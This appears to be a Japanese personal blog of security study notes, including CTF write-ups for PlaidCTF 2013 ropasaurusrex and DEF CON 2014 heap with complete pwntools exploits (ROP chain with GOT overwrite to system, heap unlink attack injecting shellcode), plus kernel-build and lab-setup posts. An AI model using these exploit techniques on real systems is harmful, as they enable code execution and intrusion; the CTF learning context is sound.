1日ひとつだけ強くなる

おべんきょうのーと

PlaidCTF 2013: ropasaurusrex - 200 *Level1*

動機

先週末はgoogleCTF参加したんですが、EasyのInstProfではバイナリの解析してからが進めませんでした。

writeupを見たら限られた4バイトでROP組んでて、そういえばROPに苦手意識があったのを思い出した。

そこでkatagaitai勉強会の資料を一部参考にしながら、ropの問題を解いてみた。 なお、katagaitai資料にはLevel5まであり、まだLevel1しかとけていないのだが、これも順次解いてwriteupを上げていきたい。

speakerdeck.com

毎度ながらkatagaitaiの資料にはたくさん学ぶことがある….

ropasaurusrex

問題のバイナリはここら辺から。

http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/ropasaurusrex-200/

いかにもROP使いますって問題なので、まずは事前調査してみる。

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped
$ checksec ropasaurusrex
[*] '/home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ELF 32bitでstrippedなバイナリ。セキュリティ機構はNXのみ。

実行してみる

まずは実行してみる。

$ ./ropasaurusrex 
AAAA
WIN

標準入力からの入力を待ち受けていて、何か入力すると"WIN"って帰ってくる。Canaryもないし、BOFかなぁ〜と思ってidaで解析してみると、mainで呼ばれている関数(ここではgetInputと呼ぶことにする)にBOF脆弱性があることがわかる。

f:id:hal0taso:20170625165505p:plain

みると、バッファのサイズは88byteなのに256byte分だけreadしている。そこで、EIPが取れるか確認してみる。

$ gdb ./ropasaurusrex -q
$ r
Starting program: /home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b

Program received signal SIGSEGV, Segmentation fault.
[-------------------------------registers--------------------------------]
EAX: 0x100 
EBX: 0xf7fb3000 --> 0x1abda8 
ECX: 0xffffd070 ("AAA%AAsAABAA$AA"...)
EDX: 0x100 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41514141 (b'AAQA')
ESP: 0xffffd100 ("RAAnAASAAoAATAA"...)
EIP: 0x41416d41 (b'AmAA')
[----------------------------------code----------------------------------]
Invalid $PC address: 0x41416d41
[---------------------------------stack----------------------------------]
00:0000| esp 0xffffd100 ("RAAnAASAAoAATAA"...)
01:0004|     0xffffd104 ("AASAAoAATAApAAU"...)
02:0008|     0xffffd108 ("AoAATAApAAUAAqA"...)
03:0012|     0xffffd10c ("TAApAAUAAqAAVAA"...)
04:0016|     0xffffd110 ("AAUAAqAAVAArAAW"...)
05:0020|     0xffffd114 ("AqAAVAArAAWAAsA"...)
06:0024|     0xffffd118 ("VAArAAWAAsAAXAA"...)
07:0028|     0xffffd11c ("AAWAAsAAXAAtAAY"...)
[------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ 
gdb-peda$ patto AmAA
AmAA found at offset: 140
gdb-peda$ 

140byte以降でEIPを奪えることがわかった。

ROP

xinetd型の問題なので、system("/bin/sh")を呼んでやればよい。しかし、今回はNXが有効なので、shellcodeを流し込むにしてもスタック内での実行が不可能である。こういう時はmmapまたはmprotectでRWX属性のメモリ領域を確保してやるなどする必要があるが、バイナリではどちらの関数も利用していないので、pltエントリにはなく、libcから呼んでやる必要がある。libcのアドレスわかってるならlibcから呼んだ方が早いので、libcからsystemを呼ぶことにする。そのためにはlibcのベースアドレスを知る必要がある。まず、pltエントリとgotエントリを調べてみる。

$ objdump -d -M intel ./ropasaurusrex | grep "@plt>:" -A 1
080482fc <__gmon_start__@plt>:
 80482fc:   ff 25 10 96 04 08       jmp    DWORD PTR ds:0x8049610
--
0804830c <write@plt>:
 804830c:   ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
--
0804831c <__libc_start_main@plt>:
 804831c:   ff 25 18 96 04 08       jmp    DWORD PTR ds:0x8049618
--
0804832c <read@plt>:
 804832c:   ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c

readとwriteが使えるっぽい。GOT OverwriteでGOTの適当な関数を書き換えてやればよくて、あとは/bin/shなんだけど、これは資料を参考にさせてもらった。具体的には、書き込み可能なセクション(今回は.dataセクションにした)に文字列/bin/shをreadとかで書いてやって、関数の引数としてスタックに積む時は.dataセクションのアドレスを入れてやればよい。(なるほど〜〜〜〜)

攻撃の方針としては、

  1. write(1(stdout), write@got, 4)でlibcでwriteがどこにロードされているのか調べる
  2. read(0(stdin), .data, 8)で.dataセクションに/bin/sh\x00を書き込む
  3. read(0(stdout), write@got, 4)でwriteのGOTをsystemのアドレスに書き換えてやる。

この時、それぞれスタックに引数が溜まっていくので、バイナリ中のpopxN retとなるコード片を利用してスタックの引数を除去してやればよい(ROPっぽい…!)そのようなコード片はrp++とか使えば見つかる。今回はいずれも3つ引数が積まれている状態を想定しているので、pop3ret的なのを探す。

$ rp-lin-x64 -f ./ropasaurusrex -r 4 | grep pop
# 中略 
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)

使ってるlibcからsystemのアドレスを確認しておく。

$ ldd ./ropasaurusrex
    linux-gate.so.1 =>  (0xf7798000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75c4000)
    /lib/ld-linux.so.2 (0x565ff000)
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
00040310 T __libc_system
0011b710 T svcerr_systemerr
00040310 W system

Exploit

上記の情報から、エクスプロイトを記述していく。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch = 'i386', os = 'linux')
#context.log_level="debug"

r = remote('localhost', 1025)
# EXPLOIT CODE GOES HERE

# for debug
def bp():
    input()

'''
# Exploit plan
- get libc address
- call write(1, write@got, 4) -> get libc_write
- call read(0, .data, 8) -> set '/bin/sh\x00'
- call read(0, write@got, 4) -> overwrite write to system
- call system('/bin/sh')

# stack plan
---------
write@plt
---------
pop3ret
---------
1(stdout)
---------
write@got
---------
4
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
.data
---------
8
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
write@plt
---------
4
---------
write@plt(system)
---------
0xdeadbeef
---------
.data('/bin/sh')
---------
'''
got_write     = 0x08049614

plt_write     = 0x0804830c
plt_read      = 0x0804832c

offset_system = 0x00040310
offset_write  = 0x000dd300

pop3ret       = 0x080484b6
addr_data     = 0x08049620

# build rop
buf = 'A'*140
buf += p32(plt_write)
buf += p32(pop3ret)
buf += p32(1) + p32(got_write) + p32(4)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(addr_data) + p32(8)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(got_write) + p32(4)

buf += p32(plt_write)
buf += p32(0xdeadbeef)
buf += p32(addr_data)
r.send(buf)


ret = u32(r.recv())
print('write@got: {}'.format(hex(ret)))
print('libc_start: {}'.format(hex(ret - offset_write)))
addr_system = ret - offset_write + offset_system
print('system: {}'.format(hex(addr_system)))

r.send('/bin/sh'+'\x00')

buf = p32(addr_system)
r.send(buf)

r.interactive()

これでシェルが起動する。

$ socat tcp-listen:1025,reuseaddr,fork exec:./ropasaurusrex
$ ./exploit.py 
[+] Opening connection to localhost on port 1025: Done
write@got: 0xf76ad300
libc_start: 0xf75d0000
system: 0xf7610310
[*] Switching to interactive mode
$ whoami
ubuntu

感想

ROP、基本的な考えとしてはバイナリ中の実行権限のある既存のコード片(ROPガジェット)をうまく組み合わせてExploitを記述しよう!という考え方なので、まずは攻撃のプランを具体的に組み立てる能力が必要なのでは、と思った。 基礎的な知識や経験が手を動かさないうちに抜けて行ってしまうので(当然)これからもやっていくぞ!という気持ちです。

院試が終わって一息ついたらもっと時間とってやりたい。

カーネルをソースコードからビルドする

はじめに

カーネルをビルドする時というのは誰にでもやってくる可能性がある。カーネル脆弱性についてのPoCやオリジナルのエクスプロイトを動かしてみたい時、カーネルモジュールを作ってみたくなった時、自分でカーネルのチューニングをしてみたくなった時など。

今回は某の課題でカーネルをビルドして脆弱性を再現するという目的で試してみたので、そこでやったことと、調べたことをまとめておく。

やっていき

softwaretechnique.jp

このサイト参考にしてカーネルのビルドしたんだけど、うまくいかなかった。

と思ったら、こちらの記事をみると、makeを使ってビルドできるとのことなので、こちらを参考にして試したことを書いていく。

itpro.nikkeibp.co.jp

itpro.nikkeibp.co.jp

ソースのダウンロード

まず、以下のリンクから/usr/src/ディレクトリにwgetなどで任意のバージョンのカーネルのtarballをダウンロードして、展開する。

https://cdn.kernel.org/pub/linux/kernel/

# cd /usr/src/
# wget https://cdn.kernel.org/pub/linux/kernel/v3.x/linux-3.8.1.tar.gz
# tar xf linux-3.8.1.tar.gz

一応、linuxというシンボリックリンクを貼っておくのがいい。カーネルのソースを使うプログラムでは、この場所をカーネルのソースだとしているものもあるためである。

# ln -s linux-3.8.1 linux

コンパイル

# cd linux-3.8.1
# make oldconfig

これで.configファイルを生成する。カーネルの設定を変更する際には、manuconfigコマンドを使用すれば良い。僕の場合はSMAP機能を無効化したかっただけなので、直接.configファイルのCONFIG_X86_SMAP=nに変更した。

カーネル2.6以降はmakeだけでいいようだ。 また、動的にモジュールを組み込むカーネルとしてコンパイルした場合には,ローダブル・モジュールのコンパイルが別途必要になる。

# make
# make modules

インストー

# make modules_install
# make install

これで、再起動すれば新しいカーネルで起動することができる。

デフォルトで起動するカーネルを変更する

デフォルトで起動するカーネルを変更したい場合は、/boot/grub/grub.cfgを編集すればよい。

以下の部分を変更する。

#                                                                                                                      
# DO NOT EDIT THIS FILE                                                                                                
#                                                                                                                      
# It is automatically generated by grub-mkconfig using templates                                                       
# from /etc/grub.d and settings from /etc/default/grub                                                                 
#                                                                                                                      

### BEGIN /etc/grub.d/00_header ###                                                                                    
if [ -s $prefix/grubenv ]; then
  set have_grubenv=true
  load_env
fi
if [ "${next_entry}" ] ; then
   set default="${next_entry}"
   set next_entry=
   save_env next_entry
   set boot_once=true
else
   # この行を編集
   set default="gnulinux-advanced-66cbee71-3ca7-4246-b214-139f7331adc3>gnulinux-3.18.25-advanced-66cbee71-3ca7-4246-b2\
14-139f7331adc3"
fi

#########
# 以下略 #
#########

det default=のところを編集する。

gnulinux-advanced-66cbee71-3ca7-4246-b214-139f7331adc3は既に記述されていた部分で、末尾に>gnulinux-3.18.25-advanced-66cbee71-3ca7-4246-b214-139f7331adc3を追記する。

ここの追記する内容は、submenu 'Advanced options for Ubuntu'ってところに書いてある。

起動したいバージョンのmenuentryから、

 menuentry 'Ubuntu, with Linux 3.8.1' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_opt\
ion 'gnulinux-3.8.1-advanced-66cbee71-3ca7-4246-b214-139f7331adc3'

ここの末尾のgnulinux-3.8.1-advanced-66cbee71-3ca7-4246-b214-139f7331adc3に対応する部分を追記すればいい。

たぶん起動できるはず。

(grubのところは思い出しながら書いてるので、間違ってることとかエラー出たとかあればコメントしてほしい)

セキュリティキャンプ全国大会に応募してきた。感想とwriteup

2017年6月16日追記

セキュリティキャンプ2017年受かりました。たくさん学んできます。

はじめに

セキュリティキャンプ全国大会に応募してきました。

www.ipa.go.jp

この一ヶ月間はほとんどこの応募課題に取り組んでいました。選択課題はA-4,A-5,A-6に取り組みました。理由は、リバースエンジニアリング系に興味があり、今回のセキュリティキャンプでは主にその講義を受講したいと思ったためです。また、問題をパッと見たときに全くわからなかったので、1ヶ月あるから十分に手を動かす時間はあるし、面白そうだからという理由で選択しました。

考察が甘かったり、表現が間違っていることが多々あるかとは思いますが、大目に見るかコメントでマサカリを投げてくれると助かります><

設問の感想

回答がとても長いため、先に感想を書いておきます。正直この1ヶ月はめちゃくちゃ大変でしたが、今思い返すと初めて挑戦することばかりだったので、いい勉強になりました。また、問題を解きながら更にセキュリティキャンプに行きたい気持ちが高まっていきました。

選択問題は以下の問題を回答しました。

  • A-4
  • A-5
  • A-6

A-4 printf()について調べる問題

A-4のprintf()について調べる課題は、最初にglibcソースコードを読もうとしたらあまりの分量にビビって、gdbで動かしながら内部で呼ばれている関数やその引数を調査して行ったのですが、これをした後に参照するためにソースコードを読んでみると少しだけ読めるようになっていて、glibcカーネルのソースを読むことに対するハードルが低くなったように思います。デバッガの出力や逆アセンブル結果を貼ったら1万字を超えていて、提出時に焦りましたが、なんとか提出することができました。しかし、他の方のwriteupをみていると、とてもうまくまとまっていて、自分みたいにやってみたことをつらつらと書いていく方針でやったのは少し読みにくかったのかなぁと反省しています。

A-5 カーネルの権限昇格の脆弱性の再現

A-5のCVE-2016-0728のexploit問題とかは結局フォーラムのコメントに上がっていたことを実際に実験して検証してみて、VMが落ちるところまでできず、また自分のexploitを記述できたわけではなく拾い物のPoCしか試せなかったのがとても悔しいです。この問題を解く前に、katagaitai勉強会のUAF勉強会の資料を読んでweird_snusとかを解析してみたりしたんですが、結局最後までできなかったり、(今回の脆弱性は参照カウンタのオーバーフローを利用した攻撃で、しかも自由に一般ユーザー権限でプログラムを実行できるという状況だったため。言い訳かもしれないですが…)カーネルメッセージはダンプしたもののそれを読んで分析することができなかったりと、まだまだできないことがたくさんあり、自分の未熟さを痛感しました。しかし、今回の問題で初めてカーネルのエクスプロイトの実証に取り組んでみて、カーネルソースコードや機能についてのドキュメントを読むことで、さらにLinuxカーネルについて学びたい気持ちが強くなりました。(というかこういうことも回答として書いてもいいことを他の人のwriteupを読んで気づいた…)

A-6 PEファイルフォーマットの解析

A-6のPEの解析では、デバッガによるx86プログラム解析や、リバースエンジニアリングバイブルの前半を読んだことはあったのですが、自分で解析プログラムを1から実装してみることで、ヘッダの構造やメンバについてより詳しく知ることができたと思います。本を読むだけではなく、手を動かして学んでいく必要があると再度認識させられました。また、gnu binutilsの実装について調べてみたのもあって、意外な発見もありました。あとは開発意欲が刺激されたのも大きいです。

最後に

今思えば、去年の今頃は簡単なスタックBOFの問題も解けなくて、64bitと32bitでアドレスの長さがどう変わるかも知らず、アセンブリレジスタすら知らないし、低レイヤーに興味はあるけど何もやったことがない、という状態だったことを考えると、少しはできること、知ってることが増えてたのかなぁと思います。それも、CODE BLUEの学生スタッフとして参加して、そこで出会った同期や先輩、後輩がセキュリティだけでなく広い分野で活躍していることに大きく刺激を受けた結果かなぁと思います。本当に感謝です。

また、応募課題にフィードバックをくれた同期にはとても感謝しています。こちらで改めてお礼を言いたいと思います。

キャンプ受かってるといいなぁ。

以下、各設問の回答です。またしばらくしてこれを読む頃には黒歴史だから…って言えるくらいに強くなろうと思います。

2017年6月16日追記

長いのでこちらにまとめました。興味のある人はみてください。

Seccap17.md · GitHub

ツイッターリムった人わかるの使ったけど結構萎える

スパムは踏まないようにしよう!

研究室生活が始まった。

はじめに

新学期の季節がやってきた。今日は午前中からMTG、午後は割り当てられた研究室のPCにLubuntu 16.10を導入した。前日の深夜3時くらいまでラボのメンバーのツイッター垢をReconしてたら寝不足になった。環境構築の手順をまとめる丁度いい機会なので、メモを取りながら導入したものを公開。

機体の紹介

古そうなやつだった。NECのMateシリーズかな??図書館とかにありそうな感じ。 スペックのメモ取るの忘れたけど、デザインが古いだけで別に悪くない。

f:id:hal0taso:20170403221617p:plain

画像検索してみた。そうそうこんな感じ。

最初にまとめ

インストーラの作成

isoイメージはここから

lubuntu | lightweight, fast, easier

書き込み

hal0taso.hateblo.jp

インストー

インストールするだけ。sda,sdbの2つのHDDが存在したので、sdaにインストー

sdbの初期化

sdbがもう一つのHDDなのはまぁdmesgとか使えばわかる。まずは現在のパーティションの確認から。

$ sudo fdisk -l
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot    Start       End   Sectors   Size Id Type
/dev/sdb1  *        2048  16779263  16777216     8G 27 Hidden NTFS WinRE
/dev/sdb2       16779264 976764927 959985664 457.8G  7 HPFS/NTFS/exFAT

sdb1sdb2の2つのパーティションが存在することがわかり、これを一旦消去する。

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot    Start       End   Sectors   Size Id Type
/dev/sdb1  *        2048  16779263  16777216     8G 27 Hidden NTFS WinRE
/dev/sdb2       16779264 976764927 959985664 457.8G  7 HPFS/NTFS/exFAT

Command (m for help): d
Partition number (1,2, default 2): 

Partition 2 has been deleted.

Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start      End  Sectors Size Id Type
/dev/sdb1  *     2048 16779263 16777216   8G 27 Hidden NTFS WinRE

Command (m for help): d
Selected partition 1
Partition 1 has been deleted.

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

新しい領域を確保する。

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Command (m for help): n
Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (1-4, default 1):  
First sector (2048-976773167, default 2048): 
Last sector, +sectors or +size{K,M,G,T,P} (2048-976773167, default 976773167): 

Created a new partition 1 of type 'Linux' and of size 465.8 GiB.

Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start       End   Sectors   Size Id Type
/dev/sdb1        2048 976773167 976771120 465.8G 83 Linux

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

OS の非同期書き込みを考慮して、念のためもう一度 sync させておく。

$ sync

できた。一応確認する。

$ sudo fdisk -l
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start       End   Sectors   Size Id Type
/dev/sdb1        2048 976773167 976771120 465.8G 83 Linux

ubuntuのデフォルトのファイルシステムext4だったので、sdb1のfsも変更

$ sudo mkfs.ext4 /dev/sdb1
mke2fs 1.43.3 (04-Sep-2016)
/dev/sdb1 contains a ntfs file system labelled 'Windows RE'
Proceed anyway? (y,n) y
Creating filesystem with 122096390 4k blocks and 30531584 inodes
Filesystem UUID: b00fa6cd-6146-4204-80c6-60ec7e2bdf0a
Superblock backups stored on blocks: 
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 
    4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 
    102400000

Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (262144 blocks): done
Writing superblocks and filesystem accounting information: done     

マウントポイントを作成し、そこに/dev/sdb1のHDDをマウントする。

$ sudo mkdir /mnt/sdb
$ sudo mount /dev/sdb1 /mnt/sdb

最後にマウントできているかどうかの確認。

$ mount | grep sdb1
/dev/sdb1 on /mnt/sdb type ext4 (rw,relatime,data=ordered)

Caps LockをCtrlに置換

$ sudo nano /etc/default/keyboard

XKBOPTIONSを以下のように変更

# KEYBOARD CONFIGURATION FILE

# Consult the keyboard(5) manual page.

XKBMODEL="pc105"
XKBLAYOUT="jp"
XKBVARIANT=""
XKBOPTIONS="ctrl:nocaps" 
BACKSPACE="guess"

再起動する

$ sudo reboot

アップデート

$ sudo apt update
$ sudo apt upgrade

テキストエディタ

テキストエディタにはemacsを使っている。25.1をインストール。

$ sudo add-apt-repository ppa:kelleyk/emacs
$ sudo apt install emacs25
$ emacs --version

feh, urxvt, ranger, xmonad

$ sudo apt install rxvt-unicode-256color feh ranger caca-utils highlight atool w3m poppler-utils mediainfo xmonad

xmonad入れたけど使いこなせる自信がなさすぎる

日本語入力

$ sudo apt install fctx-mozc

まず、System Settings - Language Support - Keyboard input method system: fcitxを選択。初回起動時には”The language support is not installed completely” と表示されるので、Install を選択しておく。

一度Logout。再Login後、Application - Fcitx Configuration - Input Method Configuration - Input Methodから、Onlu Show Current Languageのチェックボックスを外し、Japanese - MozcをCurrent Input Method に追加。

Global Config - Hotkey - Trigger Input Method から切り替える時のホットキーの設定をして完了。

NASを使う

弊ラボのNASはsambaを使用しているらしい。

$ sudo apt install cifs-utils
$ sudo mkdir /mnt/nas
$ sudo mount.cifs //<NAS's IP Address>/share /mnt/nas/ -o password=XXXX

ついでに最初にフォーマットしてマウントしたsdbと一緒に、再起動時にマウントされるよう、/etc/fstabに記述しておく。

$ sudo nano /etc/fstab
# LAB
//<NAS's IP Address>/share /mnt/nas/ username=XXXX, password=YYYY 0 0

# sdb
/dev/sdb1 /mnt/sdb ext4 defaults 0 0

参考

hddのフォーマットについて Linux CentOS 外付けHDDのフォーマットとマウント

fsまとめ Linuxファイルシステムをまとめてみました - Qiita

感想

今日はこれで半日、というか1日が終わった。xmonadも使いこなせていないし、この機会にzshデビューしたい。環境がだんだん古くなって互換が効かなくなっている部分があり、なんとかしないとという気持ち。

早く基礎的な知識をつけて、論文とか読んでいきたい気持ちだ〜〜〜〜。つよいオタクになりたい。

研究室の雰囲気も賑やかで好きな感じですし、今年度は社会性を保ったまま平穏な日々を過ごせそうです。

とりあえず続きをやるとしたら明日以降になる。

DEF CON CTF Qualifier 2014: heap

はじめに

katagaitai勉強会#1の資料を見ながら解いてみました。

まず、heapについてはスライドとこちらの動画が参考になりました。まだ前半しか理解できていないのですが、折を見てもう一度見てみたいと思います。

The 67th Yokohama kernel reading party - YouTube

事前調査

$ file ./heap
./heap: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped
$ checksec ./heap
[*] '/home/ubuntu/writeup/bata/easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NX有効でPartial RELROです。

まず動かしてみる。

$ python -c "print 'A'*260 " | ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=81B7008][size=1246]
[ALLOC][loc=81B74F0][size=1121]
[ALLOC][loc=81B7958][size=947]
[ALLOC][loc=81B7D10][size=741]
[ALLOC][loc=81B8000][size=706]
[ALLOC][loc=81B82C8][size=819]
[ALLOC][loc=81B8600][size=673]
[ALLOC][loc=81B88A8][size=1004]
[ALLOC][loc=81B8C98][size=952]
[ALLOC][loc=81B9058][size=755]
[ALLOC][loc=81B9350][size=260]
[ALLOC][loc=81B9458][size=877]
[ALLOC][loc=81B97D0][size=1245]
[ALLOC][loc=81B9CB8][size=1047]
[ALLOC][loc=81BA0D8][size=1152]
[ALLOC][loc=81BA560][size=1047]
[ALLOC][loc=81BA980][size=1059]
[ALLOC][loc=81BADA8][size=906]
[ALLOC][loc=81BB138][size=879]
[ALLOC][loc=81BB4B0][size=823]
Write to object [size=260]:
Copied 261 bytes.
[FREE][address=81B7008]
[FREE][address=81B74F0]
[FREE][address=81B7958]
[FREE][address=81B7D10]
[FREE][address=81B8000]
[FREE][address=81B82C8]
[FREE][address=81B8600]
[FREE][address=81B88A8]
[FREE][address=81B8C98]
[FREE][address=81B9058]
Segmentation fault (core dumped)

入力を促されます。`[size=260]とあるので、260文字入力してみると、セグメンテーション違反で落ちます。ここで問題文の最初にも書いてあるようにヒープBOFが起きているみたいです。

解析してみると、以下のことがわかります。

  1. 20回mallocでランダムなサイズのメモリ確保
  2. そのアドレスとサイズを配列として保存
  3. 11番目のchunkは260byteでサイズ固定
  4. 11番目のchunkに最大0x1000byteの入力がmemcpyで保存される
  5. 20個のchunkを順にfree

Unlink Attack

mallocで確保されたchunkは以下の図のようになっていて、このchunkがヒープ領域に連続して20個並んでいます。

f:id:hal0taso:20170322165154p:plain

今はヒープBOFが可能なので、これを利用してUnlink Attackを行います。具体的にはChunk[10]に対してヒープBOFさせて、Chunk[11]をfree済みの状態と同様の構造にします。free済みのチャンクは、再利用時の高速化のためにfd, bkメンバをポインタとする双方向連結リスト構造をとります。この時、Chunk[11]がfree済みとすると、Chunk[10]をfreeする際に、連続したチャンクを結合するためにChunk[11]をリストから外す処理が発生します。この時、適切にポインタを書き換えることによってUnlink時に他のポインタを書き換えることができる(書いてたら無限に説明事項があったので詳しくは資料を見て)

Chunk[10]がfreeされる時、以下の図のようになります。この時、unlinkをする判定として、直上チャンクと直下チャンクがfree済みかどうかを確認します。size変数の下位1ビットはPREV_INUSEビットと呼ばれ、直前のチャンクが利用中かどうかを表します(利用中なら1,free済みなら0)。よって、直上は自身のsize変数のPREV_INUSEビット、直下は2つ下のチャンクのsize変数のPREV_INUSEビットを確認します。今回は、直上のチャンクはすでにfree済みであることがわかっているので、直下のチャンクについて注目します。ここで、それぞれのチャンクのアドレスは、チャンクのsizeを加算することによって求められます。

f:id:hal0taso:20170322174643p:plain

ヒープBOFを使ってChunk[11]のサイズを適当な値にし、fd,bkの値に適当なポインタを保存してfree済みであるように書き換えます。この際に、Chunk[11]のsizeの末尾1ビットを1にして、Chunk[12]の末尾1ビットを0にすることに注意します。NX有効だったのですが、調べてみるとheap領域が実行可能なので、bkが10番目のチャンクのポインタを指すようにしてあげて、直接シェルコードを注入します。この際に、チャンクの中身が今回はPartial RELROなのでgot overwriteを行います。書き換えるのは、freeの結果を出力しているprintfでも終了時に呼ばれるexitでもいいと思います。この時、ヒープ領域は下図のようなイメージでBOFします。

f:id:hal0taso:20170323004240p:plain

exploit

最終的にこうなりました。

from pwn import *
import sys

def bp():
    raw_input()


host = sys.argv[1]
port = int(sys.argv[2])
    
r = remote(host, port)

prompt = 'Write to object [size=260]:\n'



recv = r.recvuntil(prompt)
heap_addr = int(re.findall(r"loc=([^]]+)", recv)[10],16)

print recv
print "======heap_addr======"
print hex(heap_addr)

shellcode = asm(shellcraft.sh())
# from shellstorm
# shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
buf_len = 0x104

buf = '\xeb\x08\x90\x90'
buf += '\x90'*0x10
buf += shellcode
buf += '\x90'*(buf_len - len(buf))
buf += p32(0xfffffffc|1)
# exit@got
buf += p32(0x804c020 - 8)
# print@got
# buf += p32(0x0804c004 - 8)
buf += p32(heap_addr)
buf += ''
# bp()
r.sendline(buf)

r.interactive()

感想

heapの問題は初めてだったので、とても勉強になった。今回は資料見ながら一緒に解いてたので解けたものの、heapは書き換え時の状態遷移のイメージが難しいなぁという印象だった…

書き換える場所さえイメージできればいいのかな…?類題が資料に載っているので、これに取り組みながら慣れていきたいと思います。

CSAW CTF Qualification Round 2013: Exploitation3

はじめに

やるだけ問題だった気がする。 数週間前に解析だけしてた。ある程度読めると後は比較的楽だったと思う。

Exploitation2を解いた直後だったので、そんなに詰まることなく行けた。

IDAでちょっとずつ解析すすめていくのは楽しかったけど、もうちょっとスピード早くしていきたいなと思った。

事前調査

$ file ./fil_chal
./fil_chal: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af, stripped

$ checksec ./fil_chal
[*] '/home/ubuntu/writeup/bata/baby/Exploitation3/fil_chal'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

解析すると、前回のExploitaion2のようにfork-server型なのがわかる。NX bitも立ってないみたいだし、BOFしてシェルコード流し込めたらいいなぁとか思ってた。

接続してみる。

$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
